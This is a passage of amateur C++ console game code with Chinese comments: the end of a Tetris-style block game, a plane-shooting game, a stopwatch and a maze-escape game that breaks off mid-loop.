(collisionDetection (block14, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block14[i][j]; } } ++y; } break; case 26: if (collisionDetection (block17, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block17[i][j]; } } } else if (collisionDetection (block17, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block17[i][j]; } } --y; } else if (collisionDetection (block17, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block17[i][j]; } } ++y; } break; case 27: if (collisionDetection (block16, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block16[i][j]; } } } else if (collisionDetection (block16, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block16[i][j]; } } --y; } else if (collisionDetection (block16, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block16[i][j]; } } ++y; } break; default: break; } } void myStop (HANDLE hOut, int block[4][4]) { clearBlock (hOut, block, 5, 15); SetConsoleTextAttribute (hOut, FOREGROUND_RED | FOREGROUND_INTENSITY); gotoXY (hOut, 30, 7); cout << "游戏暂停"; char key; while (true) { key = _getch (); if (key == 32) { gotoXY (hOut, 30, 7); cout << " "; printBlock (hOut, block, 5, 15); return; } if (key == 27) { exit (0); } } } void eliminateRow (HANDLE hOut, int map[21][12], int &val, int &fraction, int &checkpoint) { SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY); for (int i = 19; i >= 0; i--) { int x = 0; for (int j = 1; j < 11; j++) { x += map[i][j]; } if (x == 10) { fraction += 100; if (val > 1 && fraction / 1000 + 1 != checkpoint) { checkpoint = fraction / 1000 + 1; val -= 5; } for (int m = i; m > 0; m--) { for (int n = 1; n < 11; n++) { map[m][n] = map[m - 1][n]; gotoXY (hOut, 2 * n, m); if (map[m][n] == 1) { cout << "■"; } else { cout << " "; } } } i++; } } gotoXY (hOut, 36, 1); cout << fraction; gotoXY (hOut, 36, 2); cout << checkpoint; }
飞机大战
#pragma once #include<iostream> #include<Windows.h>//定义控制台应用程序的入口点 using namespace std; //界面颜色 void setcolor(char str[]) { if(str=="lightblue") SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|1); if(str=="lightred") SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); if(str=="lightyellow") SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_BLUE); if(str=="lightpink" ) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN | FOREGROUND_BLUE); if(str=="blue") SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE); if(str=="red") SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED); if(str=="yellow") SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED | FOREGROUND_BLUE); if(str=="pink") SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN | FOREGROUND_BLUE); if(str=="lightgray") SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN |8); if(str=="gray") SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 8); else return; } //定义敌人结构 其中最后面Frame代表结构体类型 若不加typedef代表定义的结构体变量 typedef struct Frame { COORD position[2]; // COORD 是Windows API中定义的一种结构,表示一个字符在控制台屏幕上的坐标。 // 其定义为: // typedef struct _COORD { // SHORT X; // SHORT Y; // } COORD; int flag; }Frame; class Game { public: COORD position[10]; COORD bullet[50];//子弹坐标 Frame enemy[8];//敌人数量 int score; int rank;//级别,难度 int rankf;//等级标志 string title; int flag_rank;//等级标志 //构造函数 Game(); //初始化所有 //设定位置 void initPlane(); void initBullet(); void initEnemy(); //填充所有 --画出形状和消失的形状 void drawPlane(); void drawPlaneToNull(); void drawBullet(); void drawBulletToNull(); void drawEnemy(); void drawEnemyToNull(); //执行某一个操作 void Playing();//游戏主循环 void planeMove(char x);//飞机移动 void judgePlane();//判断飞机是否与障碍物重叠 void GameOver();//游戏失败 void Pause();// 该成员函数用来使得游戏暂停 void Shoot();//发射子弹 void bulletMove();//子弹移动 void drawThisBulletToNull(COORD c);//画出失效子弹 void judgeEnemy();//判断子弹是否击中障碍物 void drawThisEnemyToNull(Frame f); //击败的障碍物清空 void enemyMove();//障碍物移动 void printScore();//输出分数 }; //主菜单 int drawMenu(); //隐藏光标 void HideCursor(); void SetPos(int i, int j);//设置光标 COORD random(COORD a, COORD b);//产生随机障碍物位置 void drawFrame(COORD a, COORD b, char row, char col);//画出障碍物 //把第y行,[x1, x2) 之间的坐标填充为 ch void drawRow(int y, int x1, int x2, char ch); //把第x列,[y1, y2] 之间的坐标填充为 ch void drawCol(int x, int y1, int y2, char ch); // 绘制游戏界面 void drawPlaying(); void drawFrame(Frame frame, char row, char col);//画坠毁后的战机 // 该函数用来判断战机的某一部分是否与障碍物有接触 bool judgeCoordInFrame(Frame frame, COORD spot); void drawRow(COORD a, COORD b, char ch); #include<Windows.h> #include<conio.h> #include<iostream> #include<ctime> #include<string> using namespace std; Game::Game() { // 调用类成员函数来进行初始化 initPlane(); initBullet(); initEnemy(); // 初始化四个int型数据成员,采用赋值的方式进行初始化 // string类型的数据成员title没有进行初始化,因为: // string本身就是一个标准库类类型,它的类定义中设置了默认构造函数, // 这些默认构造函数会将对象初始化为合理的默认状态, // string的默认构造函数会产生空字符串,相当于"" 。 this->score = 0; rank = 25; rankf = 25; flag_rank = 0; } void Game::initPlane() { COORD centren; centren.X = 39; centren.Y = 22; position[0].X = position[5].X = position[7].X = position[9].X = centren.X; position[1].X = centren.X - 2; position[2].X = position[6].X = centren.X - 1; position[3].X = position[8].X = centren.X + 1; position[4].X = centren.X + 2; for (int i = 0; i <= 4; i++) { position[i].Y = centren.Y; } for (int i = 6; i <= 8; i++) { position[i].Y = centren.Y + 1; } position[5].Y = centren.Y - 1; position[9].Y = centren.Y - 2; // 这个函数体类的代码其实就是为了初始化战机的十个部分的位置,战机的组成如下所示: // | 5 // | 9 // ***** 12034 // *** 678 // 第一排5个0的坐标依次对应了position[1]position[2]position[0]position[3]position[4] // 第二排三个0的坐标依次对应了position[6]position[7]position[8] // 两排0上面的两|的坐标从上往下依次对应了position[5]position[9] } void Game::drawPlane() { for (int i = 0; i < 9; i++) { SetPos(position[i].X,position[i].Y); if (i != 5) { setcolor("yellow"); cout << "@"; } else if (i == 5) { setcolor("yellow"); cout << "$"; } } } // 这个成员函数通过将战机的每个坐标处输出" "来代替"0"和"|", // 来达到将战机消除的目的。 void Game::drawPlaneToNull() { for (int i = 0; i < 9; i++) { SetPos(position[i].X, position[i].Y); cout << " "; } } // 该成员函数用来初始化子弹, // 即将每个子弹的Y坐标初始化为30(bullet[i].Y = 30)来表示子弹处于失效状态 void Game::initBullet() { for (int i = 0; i < 10; i++) { bullet[i].Y = 30; } } // 该成员函数用来画出子弹 // 首先检查每颗子弹的有效性,如果子弹有效,则定位到该子弹的坐标处,输出 "^",表示该子弹, // 如果子弹是无效的,则不绘制 void Game::drawBullet() { for (int i = 0; i < 10; i++) { if (bullet[i].Y != 30) { SetPos(bullet[i].X,bullet[i].Y); setcolor("blue"); cout << "*"; } } } //子弹失效 void Game::drawBulletToNull() { for (int i = 0; i < 10; i++) if (bullet[i].Y != 30) { SetPos(bullet[i].X, bullet[i].Y + 1); cout << " "; } } // 这个函数用来初始障碍物的位置, // 屏幕当中只能同时存在八架障碍物, // 且每架障碍物用如下结构体Frame来表示,如下所示: // typedef struct Frame // { // COORD position[2]; // int flag; // }Frame; COORD random(COORD a, COORD b) { int x = rand() % (a.X - b.X) + a.X; int y = rand() % (a.Y - b.Y) + a.Y; COORD c = { x,y }; return c; } void Game::initEnemy() { COORD a = { 1, 1 }; COORD b = { 45, 15 }; for (int i = 0; i < 8; i++) { enemy[i].position[0] = random(a, b); // random(a, b)是调用了一个重载的函数,它表示在坐标a、b之间的矩形框 // 内随机生成一个坐标值,并将该坐标值作为障碍物的左上角的坐标。 // enemy[i].position[0]中是一个Frame结构体类型的变量,存放了障碍物i的左上角的坐标。 enemy[i].position[1].X = enemy[i].position[0].X + 3; enemy[i].position[1].Y = enemy[i].position[0].Y + 2; // enemy[i].position[1]也中是一个Frame结构体类型的变量,存放了障碍物i的右下角的坐标。 } } // 接下来要根据障碍物的左上角坐标和右下角坐标画出障碍物, // 显然,障碍物的外形如下所示: // -- // | | // -- void Game::drawEnemy() { for (int i = 0; i < 8; i++) { setcolor("gray"); drawFrame(enemy[i].position[0], enemy[i].position[1], '-', '|'); } } // 将障碍物消除,通过输出空白的方式 void Game::drawEnemyToNull() { for (int i = 0; i < 8; i++) { drawFrame(enemy[i].position[0], enemy[i].position[1], ' ', ' '); } } //隐藏光标 void HideCursor() { CONSOLE_CURSOR_INFO cursor_info = { 1,0 };//第二个值0表示隐藏光标 SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info); } void SetPos(int i, int j)//设置坐标点位(光标) { HANDLE hout; COORD coord; coord.X = i; coord.Y = j; hout = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(hout, coord); } //左上角坐标、右下角坐标、用row填充行、用col填充列 void drawFrame(COORD a, COORD b, char row, char col) { drawRow(a.Y, a.X + 1, b.X - 1, row); drawRow(b.Y, a.X + 1, b.X - 1, row); drawCol(a.X, a.Y + 1, b.Y - 1, col); drawCol(b.X, a.Y + 1, b.Y - 1, col); } //把第y行,[x1, x2) 之间的坐标填充为 ch void drawRow(int y, int x1, int x2, char ch) { SetPos(x1, y); for (int i = 0; i <= (x2 - x1); i++) { cout << ch; } } //把第x列,[y1, y2] 之间的坐标填充为 ch void drawCol(int x, int y1, int y2, char ch) { int y = y1; while (y != y2 + 1) { SetPos(x, y); cout << ch; y++; } } //主菜单绘制 int drawMenu() { setcolor("lightgreen"); system("Title 飞 机 大 战"); SetPos(30,1); cout << "飞 机 大 战"; drawRow(3, 0, 79, '-'); drawRow(5, 0, 79, '-'); SetPos(28, 4); setcolor("red"); cout << "↑和↓选择,回车确定"; int j = 11; SetPos(12, j); cout << ">>"; SetPos(15, 11); cout << "1. 简单的任务"; SetPos(15, 13); cout << "2. 困难的任务"; drawRow(20, 0, 79, '-'); SetPos(47, 11); setcolor("yellow"); cout << "简单的任务:"; SetPos(51, 13); cout << "简单任务的自动飞行速度较慢,任务难度较小。 "; SetPos(30, 21); setcolor("lightblue"); cout << " "; setcolor("red"); drawRow(22, 0, 79, '-'); while (true) { if (_kbhit()) { char x = _getch(); switch (x) { case 72: { if (j == 13) { SetPos(12, j); cout << " "; j = 11; SetPos(12, j); setcolor("red"); cout << ">>"; SetPos(51, 13); cout << " "; SetPos(47, 11); setcolor("yellow"); cout << "简单的任务:"; SetPos(51, 13); cout << "简单任务的自动飞行速度较慢,任务难度较小。 "; } break; } case 80: { if (j == 11) { SetPos(12, j); cout << " "; j = 13; SetPos(12, j); setcolor("red"); cout << ">>"; SetPos(51, 13); cout << " "; SetPos(47, 11); setcolor("yellow"); cout << "困难的任务:"; SetPos(51, 13); cout << "困难任务自动飞行速度较快,难操作哟! "; } break; } case 13://回车键:13 { if (j == 11)//源代码为8? return 1; else return 2; } } } } return 0; } void drawFrame(int x1, int y1, int x2, int y2, char row, char col) { COORD a = { x1, y1 }; COORD b = { x2, y2 }; drawFrame(a, b, row, col); } // 绘制游戏界面 void drawPlaying() { setcolor("red"); drawFrame(0, 0, 48, 24, '=', '|');// draw map frame主界面 drawFrame(49, 0, 82, 4, '-', '|');// draw output frame 状态界面 drawFrame(49, 4, 82, 9, '-', '|');// draw score frame 分数界面 drawFrame(49, 9, 82, 20, '-', '|');// draw operate frame 操作界面 drawFrame(49,20, 82, 24, '-', '|');// draw other message frame 提示界面 setcolor("yellow") ; SetPos(61,2); cout << "飞机大战" ; SetPos(52, 6); cout << "得分:"; SetPos(52, 7); cout << "称号:"; SetPos(52, 11); setcolor("yellow") ; cout << "操作方式:"; SetPos(52, 13); cout << "↑,↓,←,→可以控制战机移动。"; SetPos(52, 15); cout << "P和E分别可以暂停游戏或退出游戏。"; SetPos(52, 17); cout << "空格可以发射燃烧弹"; SetPos(52, 19); cout << "你的任务是躲避障碍物并击毁它们!"; SetPos(52, 22); setcolor("lightblue") ; cout << " 游戏虽好玩,不要贪多哦 "; } // 该成员函数用过响应战机的一个动作 // ↑,↓,←,→,来控制战机的移动 //上:38,下:40,左:37,右:39; void Game::planeMove(char x) { if (x == 75) { if (position[1].X != 1) { for (int i = 0; i <= 9; i++) { position[i].X -= 2; } } } // 如果玩家按下 ← 键,说明玩家想让战机往左移动一个距离(2个单位), // 首先检测,战机的最左侧的位置坐标(即position[1].X)有没有达到左边界, // 如果到达了边界,那就不做出移动;如果没有达到边界,则将战机10个部分的X值减小2。 if (x == 80) { if (position[7].Y != 23) { for (int i = 0; i <= 9; i++) { position[i].Y += 1; } } } // 如果玩家按下↓ 键,说明玩家想让战机往下移动一个距离(1个单位), // 首先检测,战机的最底部的位置坐标(即position[6].Y或者position[7].Y或者position[8].Y)有没有达到下边界, // 如果到达了边界,那就不做出移动;如果没有达到边界,则将战机10个部分的Y值增加1。 if (x == 77 && (position[4].X != 47)) { for (int i = 0; i <= 9; i++) { position[i].X += 2; } } // 如果玩家按下 → 键,说明玩家想让战机往右移动一个距离(2个单位), // 首先检测,战机的最右侧的位置坐标(即position[4].X)有没有达到右边界, // 如果到达了边界,那就不做出移动;如果没有达到边界,则将战机10个部分的X值增加2。 if (x == 72&&(position[5].Y != 3)) { for (int i = 0; i <= 9; i++) { position[i].Y -= 1; } } // 如果玩家按下↑键,说明玩家想让战机往上移动一个距离(1个单位), // 首先检测,战机的最顶部的位置坐标(即position[5].Y)有没有达到上边界, // 如果到达了边界,那就不做出移动;如果没有达到边界,则将战机10个部分的Y值减少1。 } // 该函数用来判断战机的某一部分是否与障碍物有接触 // 如果与障碍物有接触在判断为坠毁 bool judgeCoordInFrame(Frame frame, COORD spot) { if ((spot.X >= frame.position[0].X) && (spot.X <= frame.position[1].X) && (spot.Y >= frame.position[0].Y) && (spot.Y <= frame.position[1].Y)) { return true; } return false; } void drawFrame(Frame frame, char row, char col) { COORD a = frame.position[0]; COORD b = frame.position[1]; drawFrame(a, b, row, col); } //游戏结束 void Game::GameOver() { setcolor("lightgreen"); system("cls"); COORD p1 = { 28,9 }; COORD p2 = { 53,15 }; drawFrame(p1, p2, '=', '|'); SetPos(36, 12); string str = "Game Over!"; for (int i = 0; i < str.size(); i++) { Sleep(80); cout << str[i]; } Sleep(1000); system("cls"); drawFrame(p1, p2, '=', '|'); SetPos(31, 11); setcolor("blue"); cout << "击毁障碍物:" << score / 5 << "个"; SetPos(31, 12); cout << "得 分:" << score; SetPos(31, 13); cout << "获得称号:" << title; SetPos(30, 18); Sleep(1000); setcolor("green"); cout << "继续? 是(Y)| 否(N)"; as://goto 语句标签 直接跳转至此 char x = _getch(); if (x == 'n' || x == 'N') { exit(0); } else if (x == 'y' || x =='Y') { system("cls"); Game game; int a = drawMenu(); // 绘制游戏开始界面主菜单 if (a == 2) game.rank = 20; system("cls"); drawPlaying(); // 绘制游戏界面框架 game.Playing(); } else goto as; } // 该成员函数用来判断战机是否坠毁, // 依次判断每架障碍物与战机的每个部分是否有接触, // 如果有接触,则表示战机坠毁 void Game::judgePlane() { for (int i = 0; i < 8; i++) { for (int j = 0; j < 9; j++) // 此处的实参position[j]是指战机的10个部分的COORD坐标, // 类中的成员函数可以访问数据成员变量。 // 此处也可以写成this-> position[j],因为 // 成员函数具有一个附加的隐含形参,即指向该类对象的一个指针, // 这个隐含形参命名为this,与调用成员函数的对象绑定在一起。 // 成员函数不能定义this形参,而是由编译器隐含地定义。 // 成员函数的函数体可以显式使用this指针,但不是必须这么做。 if (judgeCoordInFrame(enemy[i], position[j])) { SetPos(61, 2); cout << " 坠毁 "; setcolor("yellow"); drawFrame(enemy[i], '+', '+'); // 将与战机相撞的障碍物的形状绘制为: // ++ // + + // ++ Sleep(1000); GameOver(); break; } } } // 该成员函数用来使得游戏暂停 void Game::Pause() { SetPos(61, 2); cout << " "; SetPos(61, 2); cout << "暂停中... "; // 当出现"暂停中..."的提示以后,程序不停的接收按下的按键, // 当按下'p'键以后,说明要退出暂停状态,此时需要清除"暂停中..."的提示 // 通过输出空白 " "来将其覆盖,达到效果 char c = _getch(); while (c != 'p') { c = _getch(); } SetPos(61, 2); cout << " "; setcolor("green"); SetPos(61, 2); cout << "飞机大战"; } // 这个成员函数用来响应一次射击操作, // 也就是,当游戏中的时候,玩家按下"k"键,就执行该函数。 // 由于子弹是由COORD bullet[10]定义的,因此同一时刻,界面内只能有10颗子弹同时出现。 // 如果界面内不够10颗子弹,按下"k"键后战机应该发射出一颗子弹, // 于是,依次遍历10颗子弹,当遇到第一颗失效的子弹后, // 立即将该子弹赋予新的坐标(战机的炮口,也就是(position[5].X,position[5].Y - 1)), // 让其激活。然后退出for循环,函数执行完毕。 void Game::Shoot() { for (int i = 0; i < 10; i++) { if (bullet[i].Y == 30) { bullet[i].X = position[5].X; bullet[i].Y = position[5].Y - 1; break; } } } void Game::drawThisBulletToNull(COORD c) { SetPos(c.X,c.Y); cout << " "; } // 此成员函数用来响应一次子弹的运动 // 每次子弹运动,屏幕子弹的坐标都会出现变化,即 // 先判断子弹是否有效(即判断语句if (bullet[i].Y != 30)), // 若子弹有效,将该子弹的Y坐标减少1,X坐标不变, // 检测子弹坐标更改之后是否达到上边界,如果达到上边界,则将该子弹从屏幕上擦除, // 同时,将该子弹置为失效状态,即 bullet[i].Y = 30。 void Game::bulletMove() { for (int i = 0; i < 10; i++) { if (bullet[i].Y != 30) { bullet[i].Y -= 1; if (bullet[i].Y == 1) { COORD pos = { bullet[i].X, bullet[i].Y + 1 }; drawThisBulletToNull(pos); bullet[i].Y = 30; } } } } //击败的障碍物清空 void Game::drawThisEnemyToNull(Frame f) { drawFrame(f, ' ', ' '); } // 该成员函数依次遍历每一架障碍物障碍物, // 将每一架障碍物依次与每一颗子弹进行检测, // 判断障碍物是否与子弹有接触,如果有接触,则表示击中障碍物, // 此时将障碍物和子弹擦除,然后在界面顶部的位置处随机生成一架障碍物 void Game::judgeEnemy() { for (int i = 0; i < 8; i++) { for (int j = 0; j < 10; j++) { if (judgeCoordInFrame(enemy[i], bullet[j])) { score += 5; drawThisEnemyToNull(enemy[i]); COORD a = { 1, 1 }; COORD b = { 45, 3 }; enemy[i].position[0] = random(a, b); enemy[i].position[1].X = enemy[i].position[0].X + 3; enemy[i].position[1].Y = enemy[i].position[0].Y + 2; drawThisBulletToNull(bullet[j]); bullet[j].Y = 30; } } } } // 该成员函数用来响应一次障碍物的移动 // 界面上必须同时出现八架障碍物,因此, // 如果有某架障碍物运动到下边界处,则重置该障碍物的坐标 void Game::enemyMove() { for (int i = 0; i < 8; i++) { for (int j = 0; j < 2; j++) enemy[i].position[j].Y++; // 我们将每架障碍物的左上角和右下角坐标的Y值增加1, // 表示该障碍物向下走了一个距离 // 检测向下走一个距离后的障碍物的右下角坐标的Y值是否达到24, // 如果达到,代表障碍物已经运动到下边界了, // 此时需要随机重置该障碍物的坐标 if (enemy[i].position[1].Y==24) { COORD a = { 1, 1 }; COORD b = { 45, 3 }; enemy[i].position[0] = random(a, b); enemy[i].position[1].X = enemy[i].position[0].X + 3; enemy[i].position[1].Y = enemy[i].position[0].Y + 2; } } } void Game::printScore() { if (score <= 100) { flag_rank = 1; } else if (score > 100 && score <= 320) { flag_rank = 2; } else if (score > 320 && score <= 440) { flag_rank = 3; } else if (score > 440) { flag_rank = 4; } SetPos(60, 6); cout << score; SetPos(60, 7); if (flag_rank == 1) { title = "初级飞行员"; } else if (flag_rank == 2) { title = "中级飞行员"; } else if (flag_rank == 3) { title = "高级飞行员"; } else if (flag_rank == 4) { title = "王牌飞行员"; } cout << title; } // 这个成员函数是游戏的主循环函数, // 定义了整个游戏过程。 void Game::Playing() { drawEnemy(); drawPlane(); int flag_bullet = 0; int flag_enemy = 0; while (true) { Sleep(20); // 函数名:kbhit()(VC++6.0下为_kbhit()) // 功能及返回值: 检查当前是否有键盘输入,若有则返回一个非0值,否则返回0 // 用法:int kbhit(void); // 包含头文件: include <conio.h> // kbhit()在执行时,检测是否有按键按下,有按下返回非0值,没有按下则返回0,是非阻塞函数; // 不同于getch()的在执行时, 检测按下什么键, 如果不按键该函数不返回,也就不进行下一步操作,是阻塞函数。 if (_kbhit()) { char x = _getch(); // getch()是编程中所用的函数,这个函数是一个不回显函数, // 当用户按下某个字符时,函数自动读取,无需按回车 // getch()并非标准C中的函数,不存在C语言中。 // 所在头文件是conio.h,而不是stdio.h。 // 用ch = getch(); 会等待你按下任意键之后,把该键字符所对应的ASCII码赋给ch, 再执行下面的语句。 if (75 == x || 80 == x || 77 == x || 72 == x) { drawPlaneToNull(); // 将战机先擦除 planeMove(x); // 根据所输入的操作符,对战机的坐标进行更改 drawPlane(); // 访问类中的数据成员——战机的坐标,在新的坐标处重新绘制战机 judgePlane(); // 判断战机是否有坠毁 } // 在某一循环当中,如果检测到有'p'键按下, // 首先在右侧游戏界面输出"暂停中...",然后陷入while()循环一直等待'p'键再次按下, // 如果'p'键没有按下,就一直处在while()循环内,因此不能执行后面的程序,起到暂停的效果。 else if ('p' == x) { Pause(); } // 如果是检测到空格键按下,则运行Shoot()函数, else if (32 == x) { Shoot(); } // 如果是检测到'k'键按下,则运行GameOver()函数, // GameOver()函数执行完毕后,执行break;语句跳出while循环(注意不是if (_kbhit()))。 // break语句用于结束最近的while、do while、for或switch语句,并将程序的执行权传递给紧接在 // 被终止语句之后的语句。 else if ('e' == x) { //CloseHandle(MFUN) GameOver(); break; } } // 接下来处理子弹 // 判断子弹状态的程序一直在运行 if (flag_bullet == 0) { bulletMove(); // 更新界面上有效子弹的坐标 drawBulletToNull(); // 将处于旧坐标的子弹擦除 drawBullet(); // 绘制出新坐标上的子弹 judgeEnemy(); // 判断障碍物是否被子弹击中 } flag_bullet++; if (flag_bullet==1) { flag_bullet = 0; } // 接下来处理障碍物 if (flag_enemy==0) { drawEnemyToNull(); // 将所有的障碍物都擦除 enemyMove(); // 更新障碍物的坐标 drawEnemy(); // 绘制出处于新坐标上的障碍物 judgePlane(); // 判断障碍物是否与战机接触 } flag_enemy++; if (flag_enemy >= rank) { flag_enemy = 0; } /* 输出得分 */ printScore(); } } int main() { cout<<"\t\t****飞机大战游戏正在准备****\n"; cout<<"\n已加载 0%";//7 for(int i=0;i<9;i++){ SetPos((i+1)*2-1,1); cout<<"■ "; SetPos(7-1,3-1);cout<<i+1; Sleep(200); } Sleep(200); SetPos(19,1);cout<<"■ \n已加载100%"; Sleep(200); system("cls"); srand((unsigned int)time(NULL));//随机时间种子 HideCursor();//隐藏光标 Game game; HideCursor(); int a=drawMenu(); if (a == 2) { game.rank = 20; } system("cls"); HideCursor(); drawPlaying(); HideCursor(); game.Playing(); }
计时器
#include <bits/stdc++.h> #include <windows.h> #include <conio.h> using namespace std; int main() { int jc = 0; system("color F0"); double time = 0; int min = 0, h = 0; double hi[100], mini[100], timei[100]; while (1) { system("cls"); cout << " 秒表\n已计时"<< h << "小时" << min << "分" << time << "秒\n" << "按下空格键暂停,按下↑清零所有,按下↓计次, 按下←清零计次。\n\n\n计次(上限15次)\n"; time += 0.1; for (int i = 1; i <= jc; i++) { cout << hi[i] << "小时" << mini[i] << "分" << timei[i] << "秒\n" << endl; } if (time >= 60) { min++; time = 0; } if (min >= 60) { h++; min = 0; } if (_kbhit()) { char x = _getch(); if (' ' == x) { char c = _getch(); while (c != ' ') { c = _getch(); } } else if(72 == x) { time = 0, min = 0, h = 0, jc = 0; memset(hi, 0, sizeof(hi)); memset(mini, 0, sizeof(mini)); memset(timei, 0, sizeof(timei)); } else if(80 == x) { if (jc <= 15) { hi[++jc] = h,mini[jc] = min,timei[jc] = time; } } else if (x == 75) { jc = 0; memset(hi, 0, sizeof(hi)); memset(mini, 0, sizeof(mini)); memset(timei, 0, sizeof(timei)); } } Sleep (45); } return 0; }
密室逃脱
#include<bits/stdc++.h> #include<windows.h> #include<conio.h> using namespace std; int m,n,step,shortest,wave; int px,py,ex,ey,foggy; char go,again='Y',rule; int mat[1000][1000],path[1000][1000],dir[5][5]={{-1,0},{1,0},{0,-1},{0,1}}; struct coor{ int x,y; }; queue<coor> arrive; void colorful(int word,string content){ int back=0; WORD change=((back&0x0F)<<4)+(word&0x0F); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),change); cout<<content; change=((back&0x0F)<<4)+(15&0x0F); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),change); } void all_print(){ for(int i=1;i<=m;i++){ for(int j=1;j<=n;j++){ if(i==px&&j==py){ colorful(12,"@"); } else if(i==ex&&j==ey){ colorful(14,"$"); } else if(mat[i][j]==0){ colorful(3,"#"); } else if(mat[i][j]==1){ cout<<" "; } } cout<<endl; } } void foggy_print(){ for(int i=1;i<=m;i++){ for(int j=1;j<=n;j++){ if(i>=px-foggy&&i<=px+foggy&&j>=py-foggy&&j<=py+foggy){ if(i==px&&j==py){ colorful(12,"@"); } else if(i==ex&&j==ey){ colorful(14,"$"); } else if(mat[i][j]==0){ colorful(3,"#"); } else if(mat[i][j]==1){ cout<<" "; } } else{ cout<<" "; } } cout<<endl; } } int escape(){ arrive.push((coor){px,py}); path[px][py]=0; while(!arrive.empty()){ coor now=arrive.front(); arrive.pop(); for(int i=0;i<4;i++){ int tx=now.x+dir[i][0],ty=now.y+dir[i][1]; if(tx==1||tx==m||ty==1||ty==m){ continue; } if(mat[tx][ty]==0){ continue; } if(path[tx][ty]!=-1){ continue; } arrive.push((coor){tx,ty}); path[tx][ty]=path[now.x][now.y]+1; } } return path[ex][ey]; } void home(){ SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){0,0}); } void make(int x,int y){ if(x==1||x==m||y==1||y==n){ return ; } if(mat[x][y]==1){ return ; } if(mat[x-1][y]+mat[x+1][y]+mat[x][y-1]+mat[x][y+1]>1){ return ; } mat[x][y]=1; home(); all_print(); printf("loading..."); random_shuffle(dir,dir+4); for(int i=0;i<4;i++){ make(x+dir[i][0],y+dir[i][1]); } } bool blocked(int x,int y){ if(mat[x-1][y]+mat[x+1][y]+mat[x][y-1]+mat[x][y+1]==0){ return true; } else{ return false; } } int main(){ srand(time(0)); while(again=='Y'||again=='y'){ system("cls"); wave++; px=0; py=0; ex=0; ey=0; colorful(15,"~"); printf("~~~~~~~~~~~~~~~~~~~~~~~欢迎来到密室逃脱~~~~~~~~~~~~~~~~~~~~~~~~\n"); colorful(4,"最大为(29*120)超出自动选择最大\n "); printf("请问密室的范围是多少"); colorful(99,"(m*n): "); scanf("%d*%d",&m,&n); Sleep(500); printf("在密室中存在迷雾,请问迷雾范围直径为多少(无迷雾为'0'): "); scanf("%d",&foggy); foggy/=2; Sleep(500); if(m>30){ m=29; } if(n>120){ n=120; } if(wave==1){ printf("\n在开始逃脱之前,有一些规则:"); Sleep(500); printf("\n 1.你是'"); colorful(12,"@"); printf("',出口是'"); colorful(14,"$"); printf("',墙是'"); colorful(3,"#"); printf("',路是' '"); Sleep(500); printf("\n 2.只能走路,不能穿墙,到达出口就算胜利"); Sleep(500); printf("\n 3.在密室中,通过'↑','↓','←','→'键移动"); Sleep(6000); } else{ printf("\n是否查看规则('Y'/'N'): "); cin>>rule; if(rule=='Y'||rule=='y'){ printf("\n密室逃脱规则:"); Sleep(500); printf("\n 1.你是'"); colorful(12,"@"); printf("',出口是'"); colorful(14,"$"); printf("',墙是'"); colorful(3,"#"); printf("',路是' '"); Sleep(500); printf("\n 2.只能走路,不能穿墙,到达出口就算胜利"); Sleep(500); printf("\n 3.在密室中,通过'↑','↓','←','→'键移动"); Sleep(6000); } else{ Sleep(1000); } } system("cls"); printf("现在,开始逃脱!"); Sleep(500); system("cls"); memset(mat,0,sizeof mat); all_print(); make(m/2,n/2); while((px==ex&&py==ey)||blocked(px,py)||blocked(ex,ey)||abs(px-ex)+abs(py-ey)<m/2+n/2){ px=rand()%(m-2)+2; py=rand()%(n-2)+2; ex=rand()%(m-2)+2; ey=rand()%(n-2)+2; } mat[px][py]=1; mat[ex][ey]=1; memset(path,-1,sizeof path); dir[0][0]=-1; dir[0][1]=0; dir[1][0]=1; dir[1][1]=0; dir[2][0]=0; dir[2][1]=-1; dir[3][0]=0; dir[3][1]=1; shortest=escape(); system("cls"); all_print(); step=0; while(1){ go=getch(); if(go==72&&mat[px-1][py]==1){ px--; step++; } else if(go==80&&mat[px+1][py]==1){ px++; step++; } else if(go==75&&mat[px][py-1]==1){ py--; step++; } else if(go==77&&mat[px][py+1]==1){ py++; step++; } if(px==ex&&py==ey){ px=0; py=0; home(); all_print(); Sleep(1000); printf("\n恭喜你,逃出了密室!\n"); printf("最少用%d步,你用了%d步!",shortest,step); Sleep(1000); break; } home(); 